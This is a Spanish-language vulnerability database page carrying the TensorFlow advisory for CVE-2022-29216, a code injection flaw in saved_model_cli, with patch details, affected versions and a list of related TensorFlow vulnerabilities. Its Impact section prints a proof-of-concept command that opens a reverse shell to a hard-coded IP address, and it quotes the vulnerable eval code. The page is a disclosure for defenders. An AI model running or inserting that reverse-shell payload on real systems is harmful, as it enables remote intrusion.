Alta

Code injection in `saved_model_cli` in TensorFlow

  • Publicada: 24.05.2022
  • Actualizado: 11.10.2026 14:17

Impact

TensorFlow's saved_model_cli tool is vulnerable to a code injection:

saved_model_cli run --input_exprs 'x=print("malicious code to run")' --dir ./
--tag_set serve --signature_def serving_default

This can be used to open a reverse shell

saved_model_cli run --input_exprs 'hello=exec("""\nimport socket\nimport
subprocess\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(("10.0.2.143",33419))\nsubprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())""")'
--dir ./ --tag_set serve --signature_def serving_default

This is because the fix for CVE-2021-41228 was incomplete. Under certain code paths it still allows unsafe execution:

python
def preprocess_input_exprs_arg_string(input_exprs_str, safe=True):
  # ...

  for input_raw in filter(bool, input_exprs_str.split(';')):
    # ...
    if safe:
      # ...
    else:
      # ast.literal_eval does not work with numpy expressions
      input_dict[input_key] = eval(expr)  # pylint: disable=eval-used
  return input_dict

This code path was maintained for compatibility reasons as we had several test cases where numpy expressions were used as arguments.

However, given that the tool is always run manually, the impact of this is still not severe. We have now removed the safe=False argument, so all parsing is done withough calling eval.

Patches

We have patched the issue in GitHub commit c5da7af048611aa29e9382371f0aed5018516cac.

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Andey Robins from the Cybersecurity Education and Research Lab in the Department of Computer Science at the University of Wyoming.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) tensorflow < 2.6.4, >= 2.7.0, < 2.7.2, >= 2.8.0, < 2.8.1 2.6.4, 2.7.2, 2.8.1
Python (PyPI) tensorflow-cpu < 2.6.4, >= 2.7.0, < 2.7.2, >= 2.8.0, < 2.8.1 2.6.4, 2.7.2, 2.8.1
Python (PyPI) tensorflow-gpu < 2.6.4, >= 2.7.0, < 2.7.2, >= 2.8.0, < 2.8.1 2.6.4, 2.7.2, 2.8.1

Referencias

Puntuación CVSS 7.8/10
Vector CVSS
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Debilidad (CWE)
CWE-94
Plataforma
Python (PyPI)
Paquete
tensorflow, tensorflow-cpu, tensorflow-gpu
Publicada
24.05.2022
Actualizado
11.10.2026 14:17

Fuentes y licencias

OSV / GitHub Advisory Database - PYSEC-2026-3125 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2026-3289 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-75c9-jrh4-79mc - CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2026-963 - PyPA Advisory Database; CC BY 4.0

Historial de vulnerabilidades: tensorflow-cpu

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (430) en el archivo
Entradas en total
430
Primera → última
04.2019 07.2024
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Crítica 6
  • Alta 111
  • Media 208
  • Baja 105

Divulgaciones por año

  1. 2019: 7
  2. 2020: 35
  3. 2021: 200
  4. 2022: 166
  5. 2023: 21
  6. 2024: 1
  7. 2025: 0
  8. 2026: 0
Gravedad:
  1. Code injection in `saved_model_cli` in TensorFlow esta entrada
    Alta · 7.8 CVE-2022-29216 < 2.6.4, >= 2.7.0, < 2.7.2, >= 2.8.0, < 2.8.1 2.6.4, 2.7.2, 2.8.1
  2. Alta · 7.5 CVE-2023-33976 < 2.12.1 2.12.1
  3. Alta · 7.5 CVE-2023-25659 < 2.11.1 2.11.1
  4. Alta · 7.5 CVE-2023-25660 < 2.11.1 2.11.1
  5. Alta · 7.5 CVE-2023-25662 < 2.11.1 2.11.1
  6. Alta · 7.5 CVE-2023-25663 < 2.11.1 2.11.1
  7. Alta · 7.5 CVE-2023-25664 < 2.11.1 2.11.1
  8. Alta · 7.5 CVE-2023-25665 < 2.11.1 2.11.1
  9. Alta · 7.5 CVE-2023-25666 < 2.11.1 2.11.1
  10. Alta · 7.5 CVE-2023-25669 < 2.11.1 2.11.1
  11. Alta · 7.5 CVE-2023-25671 < 2.11.1 2.11.1
  12. Alta · 7.5 CVE-2023-25672 < 2.11.1 2.11.1
  13. Alta · 7.5 CVE-2023-25673 < 2.11.1 2.11.1
  14. Alta · 7.5 CVE-2023-25674 < 2.11.1 2.11.1
  15. Alta · 7.5 CVE-2023-25675 < 2.11.1 2.11.1
  16. Alta · 7.5 CVE-2023-25676 < 2.11.1 2.11.1
  17. Alta · 8.0 CVE-2023-25801 < 2.11.1 2.11.1
  18. Alta · 7.5 CVE-2023-27579 < 2.11.1 2.11.1
  19. Alta · 7.5 CVE-2023-25658 < 2.11.1 2.11.1
Mostrar más (20) Mostrando 21 de 117

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.